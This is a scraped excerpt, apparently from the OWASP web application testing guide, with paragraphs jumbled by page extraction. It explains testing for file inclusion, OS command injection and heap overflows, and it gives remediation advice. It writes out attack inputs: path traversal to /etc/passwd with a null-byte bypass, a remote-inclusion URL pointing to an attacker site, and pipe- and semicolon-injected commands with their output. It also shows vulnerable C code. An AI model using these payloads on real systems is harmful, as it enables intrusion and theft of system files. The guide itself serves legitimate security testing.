1BO4r2U

Recommendations

Info

141 142 Web Application Penetration Testing Web Application Penetration Testing mon in other technologies such as JSP, ASP and others. How to Test Since LFI occurs when paths passed to “include” statements are not properly sanitized, in a blackbox testing approach, we should look for scripts which take filenames as parameters. Consider the following example: http:/vulnerable_host/preview.php?file=example.html This looks as a perfect place to try for LFI. If an attacker is lucky enough, and instead of selecting the appropriate page from the array by its name, the script directly includes the input parameter, it is possible to include arbitrary files on the server. Typical proof-of-concept would be to load passwd file: http:/vulnerable_host/preview.php?file=../../../../etc/passwd If the above mentioned conditions are met, an attacker would see something like the following: root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin alex:x:500:500:alex:/home/alex:/bin/bash margo:x:501:501::/home/margo:/bin/bash ... Very often, even when such vulnerability exists, its exploitation is a bit more complex. Consider the following piece of code: In the case, simple substitution with arbitrary filename would not work as the postfix ‘php’ is appended. In order to bypass it, a technique with null-byte terminators is used. Since %00 effectively presents the end of the string, any characters after this special byte will be ignored. Thus, the following request will also return an attacker list of basic users attributes: http:/vulnerable_host/preview.php?file=../../../../etc/passwd%00 work API. If this is not possible the application can maintain a white list of files, that may be included by the page, and then use an identifier (for example the index number) to access to the selected file. Any request containing an invalid identifier has to be rejected, in this way there is no attack surface for malicious users to manipulate the path. Testing for Remote File Inclusion Summary The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a “dynamic file inclusion” mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation. This can lead to something as outputting the contents of the file, but depending on the severity, it can also lead to: • Code execution on the web server • Code execution on the client-side such as JavaScript which can lead to other attacks such as cross site scripting (XSS) • Denial of Service (DoS) • Sensitive Information Disclosure Remote File Inclusion (also known as RFI) is the process of including remote files through the exploiting of vulnerable inclusion procedures implemented in the application. This vulnerability occurs, for example, when a page receives, as input, the path to the file that has to be included and this input is not properly sanitized, allowing external URL to be injected. Although most examples point to vulnerable PHP scripts, we should keep in mind that it is also common in other technologies such as JSP, ASP and others. How to Test Since RFI occurs when paths passed to “include” statements are not properly sanitized, in a blackbox testing approach, we should look for scripts which take filenames as parameters. Consider the following PHP example: $incfile = $_REQUEST[“file”]; include($incfile.”.php”); In this example the path is extracted from the HTTP request and no input validation is done (for example, by checking the input against a white list), so this snippet of code results vulnerable to this type of attack. Consider infact the following URL: http:/vulnerable_host/vuln_page.php?file=http:/attacker_ site/malicous_page Remediation The most effective solution to eliminate file inclusion vulnerabilities is to avoid passing user-submitted input to any filesystem/framework API. If this is not possible the application can maintain a white list of files, that may be included by the page, and then use an identifier (for example the index number) to access to the selected file. Any request containing an invalid identifier has to be rejected, in this way there is no attack surface for malicious users to manipulate the path. Testing for Command Injection (OTG-INPVAL-013) Summary This article describes how to test an application for OS command injection. The tester will try to inject an OS command through an HTTP request to the application. OS command injection is a technique used via a web interface in order to execute OS commands on a web server. The user supplies operating system commands through a web interface in order to execute OS commands. Any web interface that is not properly sanitized is subject to this exploit. With the ability to execute OS commands, the user can upload malicious programs or even obtain passwords. OS command injection is preventable when security is emphasized during the design and development of applications. How to Test When viewing a file in a web application, the file name is often shown in the URL. Perl allows piping data from a process into an open statement. The user can simply append the Pipe symbol “|” onto the end of the file name. Example URL before alteration: http:/sensitive/cgi-bin/userData.pl?doc=user1.txt http:/sensitive/cgi-bin/userData.pl?doc=/bin/ls| Example URL modified: This will execute the command “/bin/ls”. Appending a semicolon to the end of a URL for a .PHP page followed by an operating system command, will execute the command. %3B is url encoded and decodes to semicolon http:/sensitive/something.php?dir=%3Bcat%20/etc/passwd POST http:/www.example.com/public/doc HTTP/1.1 Host: www.example.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0 Accept: text/xml,application/xml,application/xhtml+xml,text/ html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Proxy-Connection: keep-alive Referer: http:/127.0.0.1/WebGoat/attack?Screen=20 Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E- 34F24A0A5 Authorization: Basic T2Vbc1Q9Z3V2Tc3e= Content-Type: application/x-www-form-urlencoded Content-length: 33 Doc=Doc1.pdf In this post request, we notice how the application retrieves the public documentation. Now we can test if it is possible to add an operating system command to inject in the POST HTTP. Try the following: POST http:/www.example.com/public/doc HTTP/1.1 Host: www.example.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0 Accept: text/xml,application/xml,application/xhtml+xml,text/ html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Proxy-Connection: keep-alive Referer: http:/127.0.0.1/WebGoat/attack?Screen=20 Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E- 34F24A0A5 Authorization: Basic T2Vbc1Q9Z3V2Tc3e= Content-Type: application/x-www-form-urlencoded Content-length: 33 Doc=Doc1.pdf+|+Dir c:\ If the application doesn’t validate the request, we can obtain the following result: References • Wikipedia - http://www.wikipedia.org/wiki/Local_File_Inclusion • Hakipedia - http://hakipedia.com/index.php/Local_File_Inclusion Remediation The most effective solution to eliminate file inclusion vulnerabilities is to avoid passing user-submitted input to any filesystem/frame- In this case the remote file is going to be included and any code contained in it is going to be run by the server. References Whitepapers • “Remote File Inclusion” - http://projects.webappsec.org/w/ page/13246955/Remote%20File%20Inclusion • Wikipedia: “Remote File Inclusion” - http://en.wikipedia.org/wiki/ Remote_File_Inclusion Example: Example Consider the case of an application that contains a set of documents that you can browse from the Internet. If you fire up WebScarab, you can obtain a POST HTTP like the following: In this case, we have successfully performed an OS injection attack. Exec Results for ‘cmd.exe /c type “C:\httpd\public\ doc\”Doc=Doc1.pdf+|+Dir c:\’ Output... Il volume nell’unità C non ha etichetta. Numero di serie Del volume: 8E3F-4B61
143 144 Web Application Penetration Testing Web Application Penetration Testing Directory of c:\ 18/10/2006 00:27 2,675 Dir_Prog.txt 18/10/2006 00:28 3,887 Dir_ProgFile.txt 16/11/2006 10:43 Doc 11/11/2006 17:25 Documents and Settings 25/10/2006 03:11 I386 14/11/2006 18:51 h4ck3r 30/09/2005 21:40 25,934 OWASP1.JPG 03/11/2006 18:29 Prog 18/11/2006 11:20 Program Files 16/11/2006 21:12 Software 24/10/2006 18:25 Setup 24/10/2006 23:37 Technologies 18/11/2006 11:14 3 File 32,496 byte 13 Directory 6,921,269,248 byte disponibili Return code: 0 Tools • OWASP WebScarab • OWASP WebGoat References White papers • http://www.securityfocus.com/infocus/1709 Remediation Sanitization The URL and form data needs to be sanitized for invalid characters. A “blacklist” of characters is an option but it may be difficult to think of all of the characters to validate against. Also there may be some that were not discovered as of yet. A “white list” containing only allowable characters should be created to validate the user input. Characters that were missed, as well as undiscovered threats, should be eliminated by this list. Permissions The web application and its components should be running under strict permissions that do not allow operating system command execution. Try to verify all these informations to test from a Gray Box point of view Testing for Buffer Overflow (OTG-INPVAL-014) Summary To find out more about buffer overflow vulnerabilities, please go to Buffer Overflow pages. See the OWASP article on Buffer Overflow Attacks. See the OWASP article on Buffer Overflow Vulnerabilities. How to test Different types of buffer overflow vulnerabilities have different testing methods. Here are the testing methods for the common types of buffer overflow vulnerabilities. • Testing for heap overflow vulnerability • Testing for stack overflow vulnerability • Testing for format string vulnerability Code Review See the OWASP Code Review Guide article on how to Review Code for Buffer Overruns and Overflows Vulnerabilities. Remediation See the OWASP Development Guide article on how to Avoid Buffer Overflow Vulnerabilities. Testing for Heap Overflow Summary In this test the penetration tester checks whether a they can make a Heap overflow that exploits a memory segment. Heap is a memory segment that is used for storing dynamically allocated data and global variables. Each chunk of memory in heap consists of boundary tags that contain memory management information. When a heap-based buffer is overflowed the control information in these tags is overwritten. When the heap management routine frees the buffer, a memory address overwrite takes place leading to an access violation. When the overflow is executed in a controlled fashion, the vulnerability would allow an adversary to overwrite a desired memory location with a user-controlled value. In practice, an attacker would be able to overwrite function pointers and various addresses stored in structures like GOT, .dtors or TEB with the address of a malicious payload. There are numerous variants of the heap overflow (heap corruption) vulnerability that can allow anything from overwriting function pointers to exploiting memory management structures for arbitrary code execution. Locating heap overflows requires closer examination in comparison to stack overflows, since there are certain conditions that need to exist in the code for these vulnerabilities to be exploitable. How to Test Black Box testing The principles of black box testing for heap overflows remain the same as stack overflows. The key is to supply as input strings that are longer than expected. Although the test process remains the same, the results that are visible in a debugger are significantly different. While in the case of a stack overflow, an instruction pointer or SEH overwrite would be apparent, this does not hold true for a heap overflow condition. When debugging a windows program, a heap overflow can appear in several different forms, the most common one being a pointer exchange taking place after the heap management routine comes into action. Shown below is a scenario that illustrates a heap overflow vulnerability. The two registers shown, EAX and ECX, can be populated with user supplied addresses which are a part of the data that is used to overflow the heap buffer. One of the addresses can point to a function pointer which needs to be overwritten, for example UEF (Unhandled Exception filter), and the other can be the address of user supplied code that needs to be executed. When the MOV instructions shown in the left pane are executed, the overwrite takes place and, when the function is called, user supplied code gets executed. As mentioned previously, other methods of testing such vulnerabilities include reverse engineering the application binaries, which is a complex and tedious process, and using fuzzing techniques. Gray Box testing When reviewing code, one must realize that there are several avenues where heap related vulnerabilities may arise. Code that seems innocuous at the first glance can actually be vulnerable under certain conditions. Since there are several variants of this vulnerability, we will cover only the issues that are predominant. Most of the time, heap buffers are considered safe by a lot of developers who do not hesitate to perform insecure operations like strcpy( ) on them. The myth that a stack overflow and instruction pointer overwrite are the only means to execute arbitrary code proves to be hazardous in case of code shown below:- In this case, if buf exceeds 260 bytes, it will overwrite pointers in the adjacent boundary tag, facilitating the overwrite of an arbitrary memory location with 4 bytes of data once the heap management routine kicks in. int main(int argc, char *argv[]) { …… } vulnerable(argv[1]); return 0; int vulnerable(char *buf) { } …….. HANDLE hp = HeapCreate(0, 0, 0); HLOCAL chunk = HeapAlloc(hp, 0, 260); strcpy(chunk, buf); ‘’’ Vulnerability’’’ return 0; Lately, several products, especially anti-virus libraries, have been affected by variants that are combinations of an integer overflow and copy operations to a heap buffer. As an example, consider a vulnerable code snippet, a part of code responsible for processing TNEF filetypes, from Clam Anti Virus 0.86.1, source file tnef.c and function tnef_message( ): string = cli_malloc(length + 1); ‘’’ Vulnerability’’’ if(fread(string, 1, length, fp) != length) {‘’’ Vulnerability’’’ free(string); return -1; } The malloc in line 1 allocates memory based on the value of length, which happens to be a 32 bit integer. In this particular example, length is user-controllable and a malicious TNEF file can be crafted to set length to ‘-1’, which would result in malloc( 0 ). Therefore, this malloc would allocate a small heap buffer, which would be 16 bytes on most 32 bit platforms (as indicated in malloc.h). And now, in line 2, a heap overflow occurs in the call to fread( ). The 3rd argument, in this case length, is expected to be a size_t variable. But if it’s going to be ‘-1’, the argument wraps to 0xFFFFFFFF, thus copying 0xFFFFFFFF bytes into the 16 byte buffer. Static code analysis tools can also help in locating heap related vulnerabilities such as “double free” etc. A variety of tools like RATS, Flawfinder and ITS4 are available for analyzing C-style languages. Tools • OllyDbg: “A windows based debugger used for analyzing buffer overflow vulnerabilities” - http://www.ollydbg.de • Spike, A fuzzer framework that can be used to explore vulnerabilities and perform length testing - http://www.immunitysec.com/ downloads/SPIKE2.9.tgz • Brute Force Binary Tester (BFB), A proactive binary checker - http:// bfbtester.sourceforge.net
Page 1 and 2:
1 2 THE ICONS BELOW REPRESENT WHAT
Page 3 and 4:
3 4 Testing Guide Frontispiece Test
Page 5 and 6:
7 8 Testing Guide Introduction Test
Page 7 and 8:
11 12 Testing Guide Introduction Te
Page 9 and 10:
15 16 Testing Guide Introduction Te
Page 11 and 12:
19 20 Testing Guide Introduction of
Page 13 and 14:
23 24 Web Application Penetration T
Page 15 and 16:
Page 17 and 18:
Page 19 and 20:
Page 21 and 22: 39 40 Web Application Penetration T
Page 51 and 52: 99 100 Web Application Penetration
Page 71: 139 140 Web Application Penetration
Page 107 and 108: 211 212 Reporting Appendix Test ID
Page 109 and 110: 215 216 Appendix Appendix Testing -
Page 111: 219 220 LDAP Injection For details
show all

1BO4r2U

Create successful ePaper yourself

Delete template?

Save as template?